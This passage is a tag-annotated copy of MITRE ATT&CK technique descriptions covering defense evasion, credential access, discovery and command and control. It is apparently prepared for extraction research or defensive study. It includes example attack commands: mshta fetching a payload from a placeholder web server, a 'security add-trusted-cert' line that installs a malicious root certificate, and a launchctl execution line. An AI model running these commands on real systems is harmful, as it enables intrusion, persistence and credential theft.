**<where>**They(Files)**<\where>** may also be **<what>**executed**<\what>** directly from **<how>**URLs: mshta http[:]//webserver/payload[.]hta**<\how>**

**<where>**Mshta.exe**<\where>** can be **<what>**used**<\what>** to **<why><what>**bypass**<\what>** **<where>**application whitelisting solutions **<\where><\why>** that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also **<why><what>**bypasses**<\what>** **<where>**browser security settings**<\where><\why><\procedure>**. [8]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Modify Registry**<\TechniqueName>**

**<id>** T1112**<\id>**

**<procedure>**Adversaries may **<what>**interact**<\what>** with the **<where>**Windows Registry**<\where>** to **<why><what>**hide **<\what> <where>**configuration information**<\where>** within Registry keys**<\why>**, **<why><what>**remove**<\what>** **<where>**information**<\where>** as part of cleaning up**<\why>**, or as part of other techniques to **<why>**aid in Persistence and Execution**<\why>**.

**<when>**Access to specific areas of the Registry depends on **<condition>**account permissions**<\condition>**, some requiring **<condition>**administrator-level access**<\condition><\when>**. The **<where>**built-in Windows command-line utility Reg**<\where>** may be **<what>**used**<\what>** for **<why>**local or remote Registry modification**<\why>.** [1] Other tools may also be **<what>**used**<\what>**, such as a **<where>**remote access tool**<\where>**, which may contain functionality to **<why><what>**interact**<\what>** with the **<where>**Registry**<\where>** **<\why>** through the **<how>**Windows API**<\how>** **<\procedure>** (see examples).

**<procedure><where>**Registry**<\where>** **<what>**modifications**<\what>** may also include actions to **<why><what>**hide**<\what>** **<where>**keys**<\where><\why>**, such as **<how><what>**prepending**<\what>** **<where>**key names**<\where>** with a **<attribute>**null character**<\attribute><\how>**, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. [2] Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence**<\procedure>**. [3] [4]

**<procedure>**The **<where>**Registry**<\where>** of a **<attribute>**remote system**<\attribute>** may be **<what>**modified**<\what>** to **<why>**aid in execution of files as part of Lateral Movement**<\why>**. **<when>**It requires the **<condition><object>**remote Registry service**<\object>** to be running on the target system**<\condition> <\when>.** [5] Often **<when><condition>**Valid Accounts**<\ condition >** are required, along with **<condition>**access to the remote system's Windows Admin Shares**<\condition>** for RPC communication**<\when><\procedure>**.

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Masquerading**<\TechniqueName>**

**<id>** T1036**<\id>**

**<procedure>**Masquerading occurs when the **<where>**name of an executable **<\where>** or **<where>** location of an executable **<\where>**, legitimate or malicious, is **<what>**manipulated**<\what>** or abused for the sake of **<why>**evading defenses**<\why>** and observation. Several different variations of this technique have been observed**<\procedure>**.

**<procedure><conjunctive>**One variant is for an **<where>**executable**<\where>** to be **<what>**placed**<\what>** in a **<attribute>**commonly trusted directory**<\attribute>** or **<what>**given**<\what>** the name of a legitimate, trusted program**<\conjunctive>**. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a **<conjunctive><where>**common system utility**<\where>** or **<where>**program**<\where>** is **<what>**moved**<\what>** and **<what>**renamed**<\what>** to **<why>**avoid detection based on its usage**<\why><\conjunctive>**.[1] This is done to **<why><what>**bypass**<\what>** **<where>**tools**<\where>** that trust executables by relying on file name or path**<\why>**, as well as to **<why><what>**deceive**<\what>** **<where>**defenders**<\where>** and **<where>**system administrators**<\where>** into thinking a file is benign by associating the name with something that is thought to be legitimate**<\why><\procedure>**.

**<procedure>**A third variant **<what>**uses**<\what>** the **<where>**right-to-left override (RTLO or RLO) character (U+202E) **<\where>** as a **<why>**means of **<what>**tricking**<\what>** a **<where>**user**<\where>** into executing what they think is a benign file type but is actually executable code**<\why>**. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.[2] For example, a Windows screensaver file named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo\_high\_re\u202Egnp.js will be displayed as photo\_high\_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.[3][4] RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default**<\procedure>**.

Windows

**<procedure>**In another variation of this technique, an adversary may use a **<what>**renamed**<\what>** copy of a **<where>**legitimate utility**<\where>**, such as rundll32.exe. [5] An alternative case occurs when a **<where>**legitimate utility**<\where>** is **<what>**moved**<\what>** to a **<attribute>**different directory**<\attribute>** and also **<what>**renamed**<\what>** to **<why>**avoid detections**<\why>** based on system utilities executing from non-standard paths**<\procedure>**. [6]

An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".

Linux

**<procedure>**Another variation of this technique includes malicious binaries **<what>**changing**<\what>** the **<where>**name of their running process**<\where>** to that of a **<attribute>**trusted or benign process**<\attribute>**, after they have been launched as opposed to before**<\procedure>**. [7]

An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". [8] [9]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** LC\_MAIN Hijacking**<\TechniqueName>**

**<id>** T1149**<\id>**

**<procedure>**As of OS X 10.8, mach-O binaries introduced a new header called **<attribute>**LC\_MAIN**<\attribute>** that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: **<attribute>**LC\_THREAD**<\attribute>** and **<attribute>**LC\_UNIXTHREAD**<\attribute>** [1]. The **<where>**entry point for a binary**<\where>** can be **<what>**hijacked**<\what>** so that **<why>**initial execution **<what>**flows**<\what>** to a malicious addition**<\why>** (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different [2]. By **<how><what>**modifying**<\what>** a **<where>**binary**<\where>** in this(LC\_MAIN Hijacking) way**<\how>**, **<why><where>**application whitelisting**<\where>** can be **<what>**bypassed**<\what><\why>** because the file name or application path is still the same**<\procedure>**.

**<tactic>** Defense Evasion, Execution, Persistence**<\tactic>**

**<TechniqueName>** Launchctl**<\TechniqueName>**

**<id>** T1152**<\id>**

**<procedure>**Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By **<how><what>**loading**<\what>** or **<what>**reloading**<\what>** **<where>**launch agents**<\where>** or **<where>**launch daemons**<\where><\how>**, adversaries can **<what>**install **<\what>** persistence or **<what>**execute**<\what>** **<where>**changes(code)**<\where>** they made [1]. Running a command from launchctl is as simple as **<how>**launchctl submit -l -- /Path/to/thing/to/execute "arg" "arg" "arg"**<\how>**. **<when>**Loading, unloading, or reloading **<object>**launch agents**<\object>** or **<object>**launch daemons**<\object>** can **<condition>**require elevated privileges**<\condition><\when>**.

Adversaries can **<what>**abuse**<\what>** **<where>**this functionality(Launchctl)**<\where>** to **<why><what>**execute**<\what>** **<where>**code**<\where><\why >** or even **<why><what>**bypass **<\what> <where>**whitelisting**<\where><\why>** if **<when><condition><object>**launchctl**<\object>** is an allowed process**<\condition><\when><\procedure>**.

**<tactic>** Defense Evasion, Execution **<\tactic>**

**<TechniqueName>** InstallUtil**<\TechniqueName>**

**<id>** T1118**<\id>**

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. [1] InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.

**<procedure>**Adversaries may **<what>**use**<\what>** **<where>**InstallUtil**<\where>** to **<why>**proxy **<what>**execution**<\what>** of **<where>**code**<\where><\why>** through a **<how>**trusted Windows utility**<\how>**. **<where>**InstallUtil**<\where>** may also be **<what>**used**<\what>** to **<why><what>**bypass**<\what>** **<where>**process whitelisting**<\where><\why>** through **<how><what>**use**<\what>** of **<where>**attributes**<\where>** within the binary**<\how>** that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)] **<\procedure>**. [2]

**<tactic>** Defense Evasion **<\tactic>**

**<TechniqueName>** Install Root Certificate**<\TechniqueName>**

**<id>** T1130**<\id>**

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. [1] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

**<procedure><what>**Installation**<\what>** of a **<where>**root certificate**<\where>** on a compromised system would give an adversary a way to **<why><what>**degrade**<\what>** the **<where>**security of that system**<\where><\why>**. Adversaries have **<what>**used**<\what>** **<where>**this technique(Install Root Certificate)**<\where>** to **<why>**avoid security warnings prompting users**<\why>** when **<when>**compromised systems **<condition>**connect over HTTPS to adversary controlled web servers**<\condition><\when>** that spoof legitimate websites in order to **<why><what>**collect**<\what>** **<where>**login credentials**<\where><\why><\procedure>**. [2]

**<procedure>**Atypical **<where>**root certificates**<\where>** have also been pre-installed on systems by the manufacturer or in the software supply chain and were **<what>**used**<\what>** in conjunction with **<attribute>**malware/adware**<\attribute>** to **<why>**provide a man-in-the-middle capabilityfor **<what>**intercepting**<\what>** **<where>**information**<\where>** transmitted over secure TLS/SSL communications**<\why><\procedure>**. [3]

**<procedure><conjunctive><where>**Root certificates**<\where>** (and their associated chains) can also be **<what>**cloned**<\what>** and **<what>**reinstalled**<\what>**. **<where>**Cloned certificate**<\where>** chains will carry many of the same metadata characteristics of the source and can be **<what>**used**<\what>** to **<why><what>**sign**<\what>** malicious **<where>**code**<\where><\why>** that may then **<why>** **<what>**bypass**<\what>** **<where>**signature validation tools**<\where>** (ex: **<where>**Sysinternals**<\where>**, **<where>**antivirus**<\where>**, etc.) **<\why>**used to block execution and/or uncover artifacts of Persistence**<\conjunctive><\procedure>**. [4]

**<procedure>**In macOS, the Ay MaMi malware **<what>**uses**<\what>** **<where>**/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert**<\where>** to **<why><what>**install**<\what>** a malicious **<where>**certificate**<\where><\why>** as a trusted root certificate into the system keychain**<\procedure>**. [5]

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** Two-Factor Authentication Interception**<\TechniqueName>**

**<id>** T1111**<\id>**

**<procedure>**Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to **<why><what>**intercept**<\what>** and **<what>**bypass**<\what>** these **<where>**security mechanisms**<\where><\why>**. Adversaries may target authentication mechanisms, such as smart cards, to **<why><what>**gain access**<\what>** to **<where>**systems**<\where>**, **<where>**services**<\where>**, and **<where>**network resources**<\where><\why>**.

If a **<when><condition><object>**smart card**<\object>** is used for two-factor authentication (2FA) **<\condition> <\when>**, then a **<where>**keylogger**<\where>** will need to be **<what>**used**<\what>** to **<why><what>**obtain**<\what>** the **<where>**password**<\where>** associated with a smart card**<\why>** during normal use. With both **<when>**an **<condition><<object>**inserted card**<\object>** and access to the smart card **<object>**password**<\object><\condition><<\when>**, an adversary can **<what>**connect**<\what>** to a **<where>**network resource**<\where>** **<how><what>**using**<\what>** the **<where>**infected system**<\where><\how>** to **<why><what>**proxy**<\what>** the **<where>**authentication**<\where>** with the inserted hardware token**<\why><\procedure>**. [1]

**<procedure>**Adversaries may also **<what>**employ**<\what>** a **<where>**keylogger**<\where>** to similarly target other hardware tokens, such as RSA SecurID. **<what>**Capturing**<\what>** **<where>**token input**<\where>** (including a user's personal identification code) may **<why>**provide temporary access**<\why>** (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably **<why><what>**predict**<\what>** future **<where>**authentication values**<\where><\why>** (given access to both the algorithm and any seed values used to generate appended temporary codes) **<\procedure>**. [2]

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. [3]

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** Securityd Memory**<\TechniqueName>**

**<id>** T1167**<\id>**

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. [1] [2] Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. [1]

<procedure>If an**<when>** adversary can **<condition>**obtain **<object>**root access**<\object><\condition><\when>** (allowing them to read securityd’s memory), then they can **<what>**scan**<\what>** through **<where>**memory**<\where>** to **<why><what>**find**<\what>** the correct sequence of **<where>**keys**<where><\why>** in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. [1] [3]<\procedure>

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** Private Keys**<\TechniqueName>**

**<id>** T1145**<\id>**

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. [1]

**<procedure>**Adversaries may **<what>**gather**<\what>** **<where>**private keys**<\where>** from compromised systems for **<why>**use in authenticating to Remote Services like SSH**<\why>** or for **<why>**use in decrypting other collected files such as email**<\why>**. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also **<what>**look**<\what>** in common key **<where>**directories**<\where>**, such as **<attribute>**~/.ssh**<\attribute>** for SSH keys on \* nix-based systems or **<attribute>**C:\Users(username).ssh\**<\attribute>** on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also **<what>**use**<\what>** **<where>**Input Capture**<\where>** for **<how>**keylogging**<\how>** or **<what>**attempt**<\what>** to **<where>**Brute Force**<\where>** the passphrase off-line**<\procedure>**.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. [2] [3]

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** Password Filter DLL**<\TechniqueName>**

**<id>** T1174**<\id>**

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

**<procedure>**Adversaries can **<what>**register**<\what>** malicious **<where>**password filters**<\where>** to **<why><what>**harvest**<\what>** **<where>**credentials**<\where>** from local computers and/or entire domains**<\why>**. To perform proper validation, **<when><condition>**filters must receive **<object>**plain-text credentials**<\object><\condition>** from the LSA**<\when>**. A malicious password filter would receive these plain-text credentials every time a password request is made**<\procedure>**. [1]

**<tactic>** Credential Access , Discovery**<\tactic>**

**<TechniqueName>** Network Sniffing**<\TechniqueName>**

**<id>** T1040**<\id>**

**<procedure>**Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may **<what>**place**<\what>** a **<where>**network interface**<\where>** into **<attribute>**promiscuous mode**<\attribute>** to **<why>**passively **<what>**access**<\what>** **<where>**data**<\where>** in transit over the network**<\why>**, or **<what>**use**<\what>** **<where>**span ports**<\where>** to **<why><what>**capture**<\what>** a larger amount of **<where>**data**<\where><\why><\procedure>**.

**<procedure>**Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. **<where>**Techniques for name service resolution poisoning**<\where>**, such as **<where>**LLMNR/NBT-NS Poisoning and Relay**<\where>**, can also be **<what>**used**<\what>** to **<why><what>**capture**<\what>** **<where>**credentials**<\where><\why>** to websites, proxies, and internal systems by redirecting traffic to an adversary**<\procedure>**.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** LLMNR/NBT-NS Poisoning and Relay**<\TechniqueName>**

**<id>** T1171**<\id>**

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. [1] [2]

**<procedure>**Adversaries can **<what>**spoof**<\what>** an **<where>**authoritative source**<\where>** for **<why>**name resolution**<\why>** on a victim network by **<how><what>**responding**<\what>** to **<where>**LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic**<\where><\how>** as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system.**<conjunctive>** If the **<when><object>**requested host**<\object>** belongs to a resource that **<condition>**requires identification/authentication**<\condition> <\when>**, the **<where>**username**<\where>** and **<where>**NTLMv2 hash**<\where>** will then be **<what>**sent**<\what>** to the adversary controlled system. The adversary can then **<what>**collect**<\what>** the **<where>**hash information**<\where>** sent over the wire through **<how>**tools that monitor the ports for traffic**<\how>** or through **<how>**Network Sniffing**<\how>** and **<what>**crack**<\what>** the **<where>**hashes**<\where>** offline through **<how>**Brute Force**<\how>** to **<why><what>**obtain**<\what>** the plaintext **<where>**passwords**<\where><\why><\conjunctive>**. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the **<where>**NTLMv2 hashes**<\where>** can be **<what>**intercepted**<\what>** and **<what>**relayed**<\what>** to **<why><what>**access**<\what>** and **<what>**execute**<\what>** **<where>**code**<\where><\why>** against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it**<\procedure>**. [3][4]

**<procedure>**Several **<where>**tools**<\where>** exist that can be **<what>**used**<\what>** to **<why><what>**poison**<\what>** **<where>**name services**<\where><\why>** within local networks such as **<where>**NBNSpoof**<\where>**, **<where>**Metasploit**<\where>**, and **<where>**Responder**<\where><\procedure>**. [5] [6] [7]

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** Keychain**<\TechniqueName>**

**<id>** T1142**<\id>**

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. [1] The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

**<procedure>**To manage their credentials, users have to use additional credentials to access their keychain. If an **<when>**adversary **<condition>**knows the **<object>**credentials**<\object>** for the login keychain**<\condition><\when>**, then they can get access to all the other credentials stored in this vault. [2] By default, the passphrase for the keychain is the user’s logon credentials**<\procedure>**.

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** Kerberoasting**<\TechniqueName>**

**<id>** T1208**<\id>**

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service [1]). [2] [3] [4] [5]

**<procedure>**Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may **<what>**request**<\what>** one or more **<where>**Kerberos ticket-granting service (TGS) service tickets**<\where>** for any SPN from a domain controller (DC). [6] [7] Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline **<how>**Brute Force attacks**<\how>** that may **<why><what>**expose**<\what>** plaintext **<where>**credentials**<\where><\why>.** [7] [6] [5]

This same **<where>**attack**<\where>** could be **<what>**executed**<\what>** **<how><what>**using**<\what>** **<where>**service tickets**<\where>** captured from network traffic**<\how>**. [7]

**<what>**Cracked**<\what>** **<where>**hashes**<\where>** may **<why>**enable Persistence, Privilege Escalation, and Lateral Movement**<\why>** via **<how>**access to Valid Accounts**<\how><\procedure>**. [4]

**<tactic>** Credential Access**<\tactic>**

**<TechniqueName>** Input Prompt**<\TechniqueName>**

**<id>** T1141**<\id>**

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).

**<procedure>**Adversaries may **<what>**mimic**<\what>** this **<where>**functionality(Input Prompt) **<\where>** to **<why><what>**prompt**<\what>** **<where>**users**<\where>** for credentials**<\why>** with a **<how>**seemingly legitimate prompt**<\how>**for a number of reasons that mimic normal usage, such as a **<how>**fake installer requiring additional access**<\how>** or a **<how>**fake malware removal suite**<\how>**.[1] This type of **<where>**prompt**<\where>** can be **<what>**used**<\what>** to **<why><what>**collect**<\what>** **<where>**credentials**<\where><\why>** via various languages such as **<how>**AppleScript**<\how>** [2][3] and **<how>**PowerShell**<\how><\procedure>** [2][4].

**<tactic>** Discovery**<\tactic>**

**<TechniqueName>** System Time Discovery**<\TechniqueName>**

**<id>** T1124**<\id>**

The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. [1] [2]

**<procedure>**An adversary may **<what>**gather**<\what>** the **<where>**system time**<\where>** and/or **<where>**time zone**<\where>** from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by **<how>**performing net time \hostname**<\how>** to gather the system time on a remote system. The victim's **<where>**time zone**<\where>** may also be **<what>**inferred**<\what>** from the current system time or **<what>**gathered**<\what>** by **<how>**using w32tm /tz**<\how>**. [2] The information could be useful for performing other techniques, such as **<why><what>**executing**<\what>** a **<where>**file**<\where>** with a Scheduled Task **<\why>** [3], or to **<why><what>**discover**<\what>** **<where>**locality information**<\where>** based on time zone**<\why>** to assist in victim targeting**<\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** System Service Discovery**<\TechniqueName>**

**<id>** T1007**<\id>**

**<procedure>**Adversaries may try to get information about registered services. Commands that may **<what>**obtain**<\what>** **<where>**information about services**<\where>** **<how>**using operating system utilities are "sc," "tasklist /svc" using Tasklist**<\how>**, and **<how>**"net start" using Net**<\how>**, but adversaries may also use other tools as well**<\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** System Owner/User Discovery**<\TechniqueName>**

**<id>** T1033**<\id>**

Windows

**<procedure>**Adversaries may attempt to **<what>**identify**<\what>** the **<where>**primary user**<\where>**, **<where>**currently logged in user**<\where>**, **<where>**set of users**<\where>** that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by **<how><what>**retrieving**<\what>** **<where>**account usernames**<\where><\how>** or by **<how><what>**using**<\what>** **<where>**Credential Dumping**<\where><\how>**. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.

Mac

On Mac, the **<attribute>**currently logged in**<\attribute>** **<where>**user**<\where>** can be **<what>**identified**<\what>** with **<how>**users**<\how>**,**<how>**w**<\how>**, and **<how>**who**<\how>**.

Linux

On Linux, the **<attribute>**currently logged in**<\attribute>** **<where>**user**<\where>** can be **<what>**identified**<\what>** with **<how>**w**<\how>** and **<how>**who**<\how><\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** System Network Connections Discovery **<\TechniqueName>**

**<id>** T1049**<\id>**

**<procedure>**Adversaries may attempt to **<what>**get**<\what>** a **<where>**listing of network connections**<\where>** to or from the compromised system they are currently accessing or from remote systems by **<how><what>**querying**<\what>** for **<where>**information**<\where>** over the network**<\how>**.

Windows

Utilities and commands that acquire this information include **<how>**netstat, "net use," and "net session" with Net**<\how>**.

Mac and Linux

In Mac and Linux, **<where>**netstat**<\where>** and **<where>**lsof**<\where>** can be **<what>**used**<\what>** to **<why><what>**list**<\what>** current **<where>**connections**<\where><\why>**. who -a and w can be used to show which users are currently logged in, similar to "net session"**<\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** System Network Configuration Discovery**<\TechniqueName>**

**<id>** T1016**<\id>**

**<procedure>**Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system **<where>**administration utilities**<\where>** exist that can be **<what>**used**<\what>** to **<why><what>**gather**<\what>** this **<where>**information**<\where><\why>**. Examples include **<how>**Arp**<\how>**, **<how>**ipconfig/ifconfig**<\how>**, **<how>**nbtstat**<\how>**, and **<how>**route**<\how><\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** System Information Discovery**<\TechniqueName>**

**<id>** T1082**<\id>**

**<procedure>**An adversary may attempt to **<why><what>**get**<\what>** detailed **<where>**information**<\where>** about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture**<\why>**.

Windows

Example commands and utilities that **<what>**obtain**<\what>** this **<where>**information**<\where>** include **<how>**ver**<\how>**, **<how>**Systeminfo**<\how>**, and **<how>**dir**<\how>** within cmd for **<why><what>**identifying**<\what>** **<where>**information**<\where>** based on present files and directories**<\why>**.

Mac

On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system\_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions**<\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** Security Software Discovery**<\TechniqueName>**

**<id>** T1063**<\id>**

**<procedure>**Adversaries may attempt to **<what>**get a listing**<\what>** of **<where>**security software**<\where>**, **<where>** configurations**<\where>**, **<where>** defensive tools**<\where>**, and **<where>** sensors**<\where>** that are installed on the system**.** This may include things such as local firewall rules and anti-virus. These checks may be built into early-stage remote access tools.

Windows

Example **<where>**commands**<\where>** that can be **<what>**used**<\what>** to **<why><what>**obtain**<\what>** **<where>**security software information**<\where><\why>** are **<how>**netsh, reg query with Reg**<\how>**, **<how>**dir with cmd**<\how>**, and **<how>**Tasklist**<\how>**, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for**<\procedure>**.

Mac

It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** Remote System Discovery**<\TechniqueName>**

**<id>** T1018**<\id>**

**<procedure>**Adversaries will likely attempt to **<what>**get a listing**<\what>** of other **<where>**systems**<\where>** by **<attribute>**IP address, hostname, or other logical identifier**<\attribute>** on a networkthat may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also **<what>**use**<\what>** **<where>**local host files**<\where>** in order to **<why><what>**discover**<\what>** the **<where>**hostname to IP address mappings**<\where>** of remote systems**<\why><\procedure>**.

Windows

**<procedure>**Examples of tools and commands that **<what>**acquire**<\what>** this **<where>**information**<\where>** include "ping" or "net view" **<how>**using Net**<\how>**. The contents of the **<where>**C:\Windows\System32\Drivers\etc\hosts file**<\where>** can be **<what>**viewed**<\what>** to **<why><what>**gain insight**<\what>** into the existing **<where>**hostname to IP mappings**<\where>** on the system**<\why><\procedure>**.

Mac

**<procedure>**Specific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. **<where>**Utilities**<\where>** such as **<attribute>**"ping"**<\attribute>** and others can be **<what>**used**<\what>** to **<why><what>**gather**<\what>** **<where>**information about remote systems**<\where><\why>**. The contents of the **<where>**/etc/hosts file**<\where>** can be **<what>**viewed**<\what>** to **<why><what>**gain insight**<\what>** into existing **<where>**hostname to IP mappings**<\where>** on the system**<\why><\procedure>**.

Linux

**<procedure><where>**Utilities**<\where>** such as **<attribute>**"ping"**<\attribute>** and others can be **<what>**used**<\what>** to **<why><what>**gather**<\what>** **<where>**information about remote systems**<\where><\why>**. The contents of the **<where>**/etc/hosts file**<\where>** can be **<what>**viewed**<\what>** to **<why><what>**gain insight **<\what>** into existing **<where>**hostname to IP mappings**<\where>** on the system**<\why><\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** Query Registry**<\TechniqueName>**

**<id>** T1012**<\id>**

**<procedure>**Adversaries may **<what>**interact**<\what>** with the **<where>**Windows Registry**<\where>** to **<why><what>**gather**<\what>** **<where>**information**<\where>** about the system, configuration, and installed software**<\why>**.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. [1] Some of the information may help adversaries to further their operation within a network**<\procedure>**.

**<tactic>** Discovery **<\tactic>**

**<TechniqueName>** Process Discovery**<\TechniqueName>**

**<id>** T1057**<\id>**

**<procedure>**Adversaries may attempt to **<why><what>**get**<\what>** **<where>**information**<\where>** about running processes on a system**<\why>**. Information obtained could be used to **<why><what>**gain**<\what>** an **<where>**understanding of common software running on systems**<\where>** within the network**<\why>**.

Windows

An example command that would **<what>**obtain**<\what>** **<where>**details on processes**<\where>** is "tasklist" **<how>**using the Tasklist utility**<\how>**.

Mac and Linux

In Mac and Linux, this is accomplished with the ps command. **<\procedure>**

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Multi-Stage Channels**<\TechniqueName>**

**<id>** T1104 **<\id>**

<procedure>Adversaries may <what>create<\what> <attribute>multiple stages<attribute> for command and control that are employed under different conditions or for certain functions. <how>Use of multiple stages<\how> may <what>obfuscate<\what> the <where>command and control channel<\where> to <why>make detection more difficult<\why>.

<conjunctive><how>Remote access tools<\how> will <what>call back<\what> to the <attribute>first-stage<\attribute> <where>command and control server<\where> for <why>instructions<\why>. The first stage may have automated capabilities to <why>collect basic host information, update tools, and upload additional files<\why>. A second <where>remote access tool (RAT) <\where> could be <what>uploaded<\what> at that point to <why>redirect the host to the second-stage command and control server<\why>. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features<\conjunctive>.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked. <\procedure>

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>**Web Service**<\TechniqueName>**

**<id>** T1102 **<\id>**

